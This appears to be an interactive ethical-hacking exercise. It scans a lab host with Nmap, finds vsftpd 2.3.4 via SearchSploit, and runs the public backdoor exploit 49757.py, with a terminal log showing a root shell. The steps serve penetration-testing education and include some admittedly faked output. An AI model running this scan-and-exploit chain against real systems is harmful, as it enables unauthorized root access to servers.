VULNERABILITY ANALYSIS & EXPLOITATION DEMO

Introduction

As an ethical hacker, we are defining, classifying, identifying, and mitigating vulnerabilities within a system or organization. These responsibilities are often identified as performing vulnerability analysis and exploitation.

Vulnerability analysis defines and classifies security threats.

Vulnerability exploitation identifies weaknesses and mitigates them within a system or organization.

If done manually, vulnerability analysis and exploitation are long and tedious. Thankfully, due to the advancement of technology, ethical hackers are given tools to perform these tasks efficiently and quickly.

Some of the tools to list are:

- **Armitage**: A graphical user interface (GUI) tool for the Metasploit project that illustrates targets and offers exploits suggestions.
- **Nmap**: An open-source tool for network discovery and security auditing.
- **Nikto2**: An open-source command-line vulnerability scanner for web servers.
- **W3AF**: An open-source web application scanner.

Now, let's practice some vulnerability analysis and exploitation!

Performing Vulnerability Analysis & Exploitation with Nmap

We have been asked to perform a basic penetration test against an internal server. The server's IP is `10.0.0.219`.

The goal of this penetration test is to determine if there are any potential paths an attacker could take to compromise the system.

Note: *Some of these services are not running on this box so we have faked some terminal interactions in this specific exercise. This is so you can experience how these commands would work in the real world.*

Instructions

1.

Network Enumeration with Nmap

We'll first start by performing some basic enumeration on the host using the following command:

```
nmap -sV 10.0.0.219
```

Note: Network enumeration *is the process of obtaining information about a network. The command you will run will make Nmap perform a service scan to identify if a vulnerable service exists.*

Hint
Type the following Nmap command into the terminal:

```
nmap -sV 10.0.0.219
```

2.

Searching Databases with SearchSploit

Now that we have a list of running services from the terminal output, we'll start searching through these services for potential exploits. Specifically, we want to look at `vsftpd 2.3.4` which was on port `21`.

To search through these services, we'll use the tool **SearchSploit**.

To use SearchSploit and see a list of potential vulnerabilities to exploit, we'll pass the service name and version to SearchSploit using the following command:

```
searchsploit "vsftpd 2.3.4"
```

Hint
Type the following searchsploit command into the terminal:

```
searchsploit "vsftpd 2.3.4"
```

3.

It appears as if we've found several potential exploits:

- `vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py`
- `vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb`

Let's look into the python file `unix/remote/49757.py` by inputting the following command into the terminal:

```
python3 /usr/share/exploitdb/exploits/unix/remote/49757.py
```

Note: *We're using python, version 3, to run the file path that searchsploit provided.*

Hint
Type the following command into the terminal:

```
python3 /usr/share/exploitdb/exploits/unix/remote/49757.py
```

4.

Hm, we get an error. It looks like the python program needs up to input a `host`.

Let's provide the code with our target: `10.0.0.219`.

Type the following command into the terminal:

```
python3 /usr/share/exploitdb/exploits/unix/remote/49757.py 10.0.0.219
```

Hint
Type the following command into the terminal:


```
python3 /usr/share/exploitdb/exploits/unix/remote/49757.py 10.0.0.219
```


5.

Great, we're in! Now, let's see what user we're running as by typing the following command into the terminal:

```
whoami
```

You'll notice this says we're `root`. That means we have elevated privileges after running this script. With elevated privileges, we are able to execute code remotely and gain access to sensitive information.

Note: *`whoami` is a command-line tool that displays the username of the current user**

Hint
Type the following command into the terminal:

`whoami`

```
$ nmap -sV 10.0.0.219
Nmap scan report for 10.0.0.219
Host is up (0.0011s latency).
Not shown: 992closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
(protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
```

```
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu)
DAV/2)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
(workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
(workgroup: WORKGROUP)

Service Info: Hosts:  OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.67
seconds
$ searchsploit "vsftpd 2.3.4"
---------------------------------------------
Exploit Title                               | Path
---------------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution      |
unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) |
unix/remote/17491.rb
---------------------------------------------
Shellcodes: No Results
$ python3
/usr/share/exploitdb/exploits/unix/remote/49757.py
usage: 49757.py [-h] host
49757.py: error: the following arguments are required:
host
$ python3
command not recognized$ python 3
/usr/share/exploitdb/exploits/unix/remote/49757.py
command not recognized$ python 3
/usr/share/exploitdb/exploits/unix/remote/49757.py
10.0.0.219
command not recognized$ python3
/usr/share/exploitdb/exploits/unix/remote/49757.py
usage: 49757.py [-h] host
49757.py: error: the following arguments are required:
host
$ python3
/usr/share/exploitdb/exploits/unix/remote/49757.py
10.0.0.219
Success, shell opened
Send `exit` to quit shell
$ whoami
root
```

```
$
```

Conclusion

Congratulations! We've completed a short vulnerability analysis and exploitation demo.

We've successfully:

- identified a running service,
- found a vulnerability in the service,
- leveraged existing exploited code to exploit that vulnerability.